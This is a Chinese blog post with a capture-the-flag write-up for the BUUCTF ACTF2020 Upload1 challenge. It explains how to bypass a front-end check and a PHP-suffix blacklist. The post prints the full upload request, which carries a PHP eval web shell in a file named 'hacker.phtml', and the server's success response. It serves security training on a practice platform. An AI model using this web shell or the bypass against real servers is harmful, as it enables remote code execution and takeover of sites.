




# BUUCTF-web:[ACTF2020 新生赛]Upload1

原创

 于 2021-07-07 12:54:23 发布  305  收藏

分类专栏: [CTF刷题记录](#) 文章标签: [php](#) [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_42702981/article/details/118544376](https://blog.csdn.net/qq_42702981/article/details/118544376)

版权



[CTF刷题记录](#) 专栏收录该内容

58 篇文章 1 订阅

订阅专栏



[https://blog.csdn.net/qq\\_42702981](https://blog.csdn.net/qq_42702981)

文件上传漏洞: 有个前端检查, 有个后端黑名单, 过滤了php后缀。

绕过方法:

```

POST / HTTP/1.1
Host: b76a9eb8-ea8d-4ce8-984c-3a53a92dfd8f.node4.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----399845890914564345142031473731
Content-Length: 397
Origin: http://b76a9eb8-ea8d-4ce8-984c-3a53a92dfd8f.node4.buuoj.cn
Connection: close
Referer: http://b76a9eb8-ea8d-4ce8-984c-3a53a92dfd8f.node4.buuoj.cn/
Cookie: UM_distinctid=179424a226213-01132a258a826-4c3f2c72-1bcab9-179424a2263254
Upgrade-Insecure-Requests: 1

-----399845890914564345142031473731
Content-Disposition: form-data; name="upload_file"; filename="hacker.phtml"
Content-Type: application/octet-stream

<?php @eval($_POST['simple']);?>

-----399845890914564345142031473731
Content-Disposition: form-data; name="submit"

upload
-----399845890914564345142031473731--

```

```

c-0.204-0.143-0.413-0.278-0.636-0.376c-0.814-0.355-1.507,0.114-1.61,1.089C48.567,49.361,48.733,
49.747,49.028,49.956z

M69.706,69.17c1.593-1.068,3.174-2.148,4.762-3.23c0.433-0.293,0.533-0.718,0.451-1.198c-0.075-0.
439-0.348-0.77-0.781-0.783

c-0.331-0.012-0.712,0.114-0.997,0.293c-0.946,0.599-1.859,1.252-2.787,1.878c-0.884,0.597-1.77,0.5
54-2.615-0.106

c-0.926-0.729-1.854-1.457-2.781-2.18c-0.52-0.405-1.094-0.403-1.619,0.008c-0.927,0.722-1.851,1.44
9-2.779,2.176

c-0.841,0.661-1.728,0.694-2.615,0.096c-0.913-0.617-1.818-1.245-2.732-1.857c-0.725-0.484-1.3-0.45
2-1.658,0.066

c-0.386,0.562-0.22,1.265,0.432,1.712c1.502,1.037,3.008,2.06,4.521,3.081c0.596,0.396,1.035,0.381,
1.624-0.062

c0.955-0.717,1.889-1.463,2.849-2.173c0.768-0.572,1.585-0.569,2.355,0.003c0.96,0.716,1.895,1.462
,2.854,2.174

c0.232,0.173,0.526,0.271,0.787,0.399C69.262,69.355,69.511,69.304,69.706,69.17z"/>
</g>
</svg>
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return
checkFile()">
    嘿伙计，你发现它了！
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span></div>
</div>
</div>
<div style="color:#F00">Upload Success! Look here~
</div>
</html>

```

